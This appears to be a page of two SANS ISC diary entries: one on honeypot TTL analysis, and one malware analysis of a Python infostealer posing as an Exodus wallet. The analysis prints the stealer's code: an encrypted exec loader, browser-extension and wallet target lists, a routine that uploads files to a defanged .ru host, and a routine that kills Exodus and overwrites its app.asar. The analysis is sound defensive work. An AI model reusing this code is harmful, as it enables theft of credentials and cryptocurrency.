Time-to-Live Analysis of DShield Data with Vega-Lite

    Published: 2024-09-18. Last Updated: 2024-09-19 00:20:09 UTC
    by Guy Bruneau (Version: 2)
    0 comment(s)

    Since posting a diary about Vega-Lite [1], I have "played" with other queries that might be interesting and the first one that I wanted to explore since the DShield SIEM [2] capture and parse the iptables logs and store the Time-to-Live (TTL) for analysis.

    One of the things I was really curious about, whether any of the source IPs my DShield sensor capture, have more than one or multiple TTL. I started looking at some of the traffic to review the activity of some of the IPs and noticed that infact some have multiple TTL either in the same day or multiple days. One of the ELK dashboard displays the TTL with their Total, the traffic I reviewed was from IP 45.148.10[.]242 to port TCP/8080 scanning every day for /login.cgi and /cgi-bin/luci/;stok=/locale. In order to better see this activity over the past 14 days; I use a vega-lite query to display the activity with this graph.

    First, this first picture shows all the TTL in the past 2 weeks of activity by Total for IP 45.148.10[.]242 :

    The TTL 50 is likely a outlier from likely the default 51. Anything in the two 200+ might need to review the IP packet ID to get some clues.

    This shows the TTL in the past 2 weeks with vega-lite, the darker the color the more activity for that time period:

    While reviewing DShield sensor data, I like sometimes to look at some of the other data captured by the honeypot, and explore why some of the traffic by each IPs might be coming from different directions by using the TTL for some clues. In this example, why is the TTL sometimes different? What other route is the IP taking? Is VPN involved? 

    I took one of the TTL, in this case 239 and reviewed when it was captured by the sensor. The sensor received the first one on the 7 Sep and the second on the 11 Sep 2024. I review the 1 hour period this TTL was capture and 5 other packets with TTL 51 was also capture during that same one hour period. Is TTL 239 2 lost packet?

    [1] https://isc.sans.edu/diary/VegaLite+with+Kibana+to+Parse+and+Display+IP+Activity+over+Time/31210/
    [2] https://github.com/bruneaug/DShield-SIEM/tree/main
    [3] https://vega.github.io/vega/examples/
    [4] https://github.com/DShield-ISC/dshield
    [5] https://isc.sans.edu/ipinfo/45.148.10.242

    -----------
    Guy Bruneau IPSS Inc.
    My Handler Page
    Twitter: GuyBruneau
    gbruneau at isc dot sans dot edu

    0 comment(s)

    Python Infostealer Patching Windows Exodus App

    Published: 2024-09-18. Last Updated: 2024-09-18 07:43:00 UTC
    by Xavier Mertens (Version: 1)
    0 comment(s)

    A few months ago, I wrote a diary[1] about a Python script that replaced the Exodus[2] Wallet app with a rogue one on macOS. Infostealers are everywhere these days. They target mainly browsers (cookies, credentials) and classic applications that may handle sensitive information. Cryptocurrency wallets are another category of applications that are juicy for attackers. I spotted again an interesting malware that mimics an Exodus wallet by displaying a small GUI:

    Note: I had to slightly patch the script to make it unable in my lab and there were some encoding glitches.

    Besides this, the Python script will also patch the official Windows Exodus app! The file is detected by only 12 antivirus products on VT (SHA256:d7a2d2bcc79674fa28af289a5efa1e399b89333595b22029c53ee4b7a74575e8)[3]. It uses TK to build the window:

    class FakeExodusWallet:
        def __init__(self, root):
            self.root = root
            self.root.title("Exodus Wallet - Fake Balance")
            self.cryptos = {
                "BTC": {"balance": 0, "symbol": "?"},
                "ETH": {"balance": 0, "symbol": "Ξ"},
                "LTC": {"balance": 0, "symbol": "?"},
                "DOGE": {"balance": 0, "symbol": "Ð"},
                "ADA": {"balance": 0, "symbol": "?"},
                "DOT": {"balance": 0, "symbol": "?"},
                "XRP": {"balance": 0, "symbol": "?"},
                "BCH": {"balance": 0, "symbol": "?"},
                "LINK": {"balance": 0, "symbol": "?"},
                "BNB": {"balance": 0, "symbol": "?"}
            }
            self.transaction_history = []
            self.create_widgets()
            logging.info("Initialized the FakeExodusWallet application.")
    
    # total gui iit
    def create_widgets(self):
        self.notebook = ttk.Notebook(self.root)
        self.notebook.pack(pady=10, expand=True)
        self.balances_frame = ttk.Frame(self.notebook, width=400, height=280)
    [...]
    

    But the magic is happening at the very beginning of the script:

    import os
    os.system('pip install cryptography')
    os.system('pip install fernet')
    os.system('pip install requests')
    from fernet import Fernet
    import requests
    exec(Fernet(b'RQM6XC1LA3UXTofVJbEGtzGHdHC8617D3uyXnMr48Os=').decrypt(b'gAAAAABm4y_i0oCohYOMNdnNZx5GmZNm_3Z3KUb86T9Du2GQLZcR1HC-d59K11hfFUGoFkyDeydPXCIQhoyM-o4vdlkSiHXKtE4BAlp5E2m0tiFnSHARdTr-xucIsWEO3Hfy0MaKIax6vPleDPTheEsEJBtOPjsJS-ogF-5WcsilggMgjxflfkm4e_xZ0kHlfUhiaoJVnGSX2MgyMHNWnFS3VoHyCh8qUQ=='))

    This code will fetch the next payload from hxxps://1312services[.]ru/paste?userid=11 and fetch another piece of Python script. This one, once unpacked, will decode another one that will be the real payload: the infostealer. It has classic features to target browsers and extensions:

    CHROMIUM_BROWSERS = [
        {"name": "Google Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data"), "taskname": "chrome.exe"},
        {"name": "Microsoft Edge", "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data"), "taskname": "msedge.exe"},
        {"name": "Opera", "path": os.path.join(APPDATA, "Opera Software", "Opera Stable"), "taskname": "opera.exe"},
        {"name": "Opera GX", "path": os.path.join(APPDATA, "Opera Software", "Opera GX Stable"), "taskname": "opera.exe"},
        {"name": "Brave", "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data"), "taskname": "brave.exe"},
        {"name": "Yandex", "path": os.path.join(APPDATA, "Yandex", "YandexBrowser", "User Data"), "taskname": "yandex.exe"},
    ]
    
    BROWSER_EXTENSIONS = [
        {"name": "Authenticator", "path": "\\Local Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai"},
        {"name": "Binance", "path": "\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp"},
        {"name": "Bitapp", "path": "\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi"},
        {"name": "BoltX", "path": "\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca"},
        {"name": "Coin98", "path": "\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg"},
        {"name": "Coinbase", "path": "\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad"},
        {"name": "Core", "path": "\\Local Extension Settings\\agoakfejjabomempkjlepdflaleeobhb"},
        {"name": "Crocobit", "path": "\\Local Extension Settings\\pnlfjmlcjdjgkddecgincndfgegkecke"},
        {"name": "Equal", "path": "\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac"},
        {"name": "Ever", "path": "\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk"},
        {"name": "ExodusWeb3", "path": "\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno"},
        {"name": "Fewcha", "path": "\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj"},
        {"name": "Finnie", "path": "\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj"},
        {"name": "Guarda", "path": "\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln"},
        {"name": "Guild", "path": "\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj"},
        {"name": "HarmonyOutdated", "path": "\\Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib"},
        {"name": "Iconex", "path": "\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel"},
        {"name": "Jaxx Liberty", "path": "\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne"},
        {"name": "Kaikas", "path": "\\Local Extension Settings\\jblndlipeogpafnldhgmapagcccfchpi"},
        {"name": "KardiaChain", "path": "\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk"},
        {"name": "Keplr", "path": "\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap"},
        {"name": "Liquality", "path": "\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn"},
        {"name": "MEWCX", "path": "\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm"},
        {"name": "MaiarDEFI", "path": "\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm"},
        {"name": "Martian", "path": "\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk"},
        {"name": "Math", "path": "\\Local Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc"},
        {"name": "Metamask", "path": "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn"},
        {"name": "Metamask2", "path": "\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm"},
        {"name": "Mobox", "path": "\\Local Extension Settings\\fcckkdbjnoikooededlapcalpionmalo"},
        {"name": "Nami", "path": "\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo"},
        {"name": "Nifty", "path": "\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid"},
        {"name": "Oxygen", "path": "\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh"},
        {"name": "PaliWallet", "path": "\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn"},
        {"name": "Petra", "path": "\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci"},
        {"name": "Phantom", "path": "\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa"},
        {"name": "Pontem", "path": "\\Local Extension Settings\\phkbamefinggmakgklpkljjmgibohnba"},
        {"name": "Ronin", "path": "\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec"},
        {"name": "Safepal", "path": "\\Local Extension Settings\\lgmpcpglpngdoalbgeoldeajfclnhafa"},
        {"name": "Saturn", "path": "\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig"},
        {"name": "Slope", "path": "\\Local Extension Settings\\pocmplpaccanhmnllbbkpgfliimjljgo"},
        {"name": "Solfare", "path": "\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic"},
        {"name": "Sollet", "path": "\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno"},
        {"name": "Starcoin", "path": "\\Local Extension Settings\\mfhbebgoclkghebffdldpobeajmbecfk"},
        {"name": "Swash", "path": "\\Local Extension Settings\\cmndjbecilbocjfkibfbifhngkdmjgog"},
        {"name": "TempleTezos", "path": "\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc"},
        {"name": "TerraStation", "path": "\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp"},
        {"name": "Tokenpocket", "path": "\\Local Extension Settings\\mfgccjchihfkkindfppnaooecgfneiii"},
        {"name": "Ton", "path": "\\Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd"},
        {"name": "Tron", "path": "\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec"},
        {"name": "Trust Wallet", "path": "\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph"},
        {"name": "Wombat", "path": "\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih"},
        {"name": "XDEFI", "path": "\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf"},
        {"name": "XMR.PT", "path": "\\Local Extension Settings\\eigblbgjknlfbajkfhopmcojidlgcehm"},
        {"name": "XinPay", "path": "\\Local Extension Settings\\bocpokimicclpaiekenaeelehdjllofo"},
        {"name": "Yoroi", "path": "\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb"},
        {"name": "iWallet", "path": "\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj"}
    ]
    

    But also wallets:

    WALLET_PATHS = [
        {"name": "Atomic", "path": os.path.join(APPDATA, "atomic", "Local Storage", "leveldb")},
        {"name": "Exodus", "path": os.path.join(APPDATA, "Exodus", "exodus.wallet")},
        {"name": "Electrum", "path": os.path.join(APPDATA, "Electrum", "wallets")},
        {"name": "Electrum-LTC", "path": os.path.join(APPDATA, "Electrum-LTC", "wallets")},
        {"name": "Zcash", "path": os.path.join(APPDATA, "Zcash")},
        {"name": "Armory", "path": os.path.join(APPDATA, "Armory")},
        {"name": "Bytecoin", "path": os.path.join(APPDATA, "bytecoin")},
        {"name": "Jaxx", "path": os.path.join(APPDATA, "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb")},
        {"name": "Etherium", "path": os.path.join(APPDATA, "Ethereum", "keystore")},
        {"name": "Guarda", "path": os.path.join(APPDATA, "Guarda", "Local Storage", "leveldb")},
        {"name": "Coinomi", "path": os.path.join(APPDATA, "Coinomi", "Coinomi", "wallets")},
    ]
    
    

    As you can see, it focuses mainly on cryptocurrency applications. Files are also searched for interesting keywords:

    FILE_KEYWORDS = [
            "passw",
            "mdp",
            "motdepasse",
            "mot_de_passe",
            "login",
            "secret",
            "account",
            "acount",
            "paypal",
            "banque",
            "metamask",
            "wallet",
            "crypto",
            "exodus",
            "discord",
            "2fa",
            "code",
            "memo",
            "compte",
            "token",
            "backup",
            "seecret"
    ]

    A lot of words are French ones!

    Data is of course exfiltrated:

    def upload_to_server(filepath):
        for i in range(10):
            try:
                url = "hxxps://1312services[.]ru/delivery"
                files = {'file': open(filepath, 'rb')}
                headers = {'userid': userid}
                r = requests.post(url, files=files, headers = headers)
                if r.status_code == 200:
                    break
            except: pass

    But the most interesting behavior is the patching of Exodus and Atomic. Let's have a look at Exodus;

    def inject():
        procc = "exodus.exe"
        local = os.getenv("localappdata")
        path = f"{local}/exodus"
        if not os.path.exists(path): return
        listOfFile = os.listdir(path)
        apps = []
        for file in listOfFile:
            if "app-" in file:
                apps += [file]
        exodusPatchURL = "hxxps://1312services[.]ru/wallet"
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"}
        req = Request(exodusPatchURL, headers=headers)
        response = urlopen(req)
        data = response.read()
        subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
        for app in apps:
            try:
                fullpath = f"{path}/{app}/resources/app.asar"
                with open(fullpath, 'wb') as out_file1:
                    out_file1.write(data)
                licensepath = f"{path}/{app}/LICENSE"
                with open(licensepath, "w") as out_file2:
                    out_file2.write(userid)
            except: pass

    This piece of code will grab a rogue "app.asar" file (SHA256:84c4a9dbe24cdae8e2ad9bd7eb3d116cea7f5202cd92a49fa3cc005ec585b95a). The original file will be replaced. The file is an ASAR[4] archive. This file format is used by Electron applications. Let’s inspect it:

    remnux@remnux:/MalwareZoo/20240917$ asar list app.asar | more
    /package.json
    /src
    /src/16420818ab98cf8c81f2d64f045d92bc.tgz
    /src/app
    /src/app/_local_modules
    /src/app/_local_modules/components
    /src/app/_local_modules/components/Logo
    /src/app/_local_modules/components/Logo/ex-trezor.svg
    /src/app/core
    /src/app/core/index.js
    /src/app/keyviewer
    /src/app/keyviewer/index.js
    /src/app/main
    /src/app/main/index.js
    /src/app/monero
    /src/app/monero/index.js
    /src/app/network
    /src/app/network/index.js
    /src/app/nfts
    /src/app/nfts/components
    [...]
    

    I tried to compare the app.asar against a valid Exodus install. The rogue version was pretty old (23.8.1) compared to the latest one (24.37.2). I did not find the official 23.8.1 release but I presume that the code has been modified to replace the wallet address with the one of the attacker in transactions.

    If, by chance, you still have an Exodus wallet version 23.8.1, please share it with me!

    [1] https://isc.sans.edu/diary/macOS+Python+Script+Replacing+Wallet+Applications+with+Rogue+Apps/30572
    [2] https://www.exodus.com
    [3] https://www.virustotal.com/gui/file/d7a2d2bcc79674fa28af289a5efa1e399b89333595b22029c53ee4b7a74575e8
    [4] https://github.com/electron/asar

    Xavier Mertens (@xme)
    Xameco
    Senior ISC Handler - Freelance Cyber Security Consultant
    PGP Key

    0 comment(s)
    ISC Stormcast For Wednesday, September 18th, 2024 https://isc.sans.edu/podcastdetail/9142

      Comments


      Diary Archives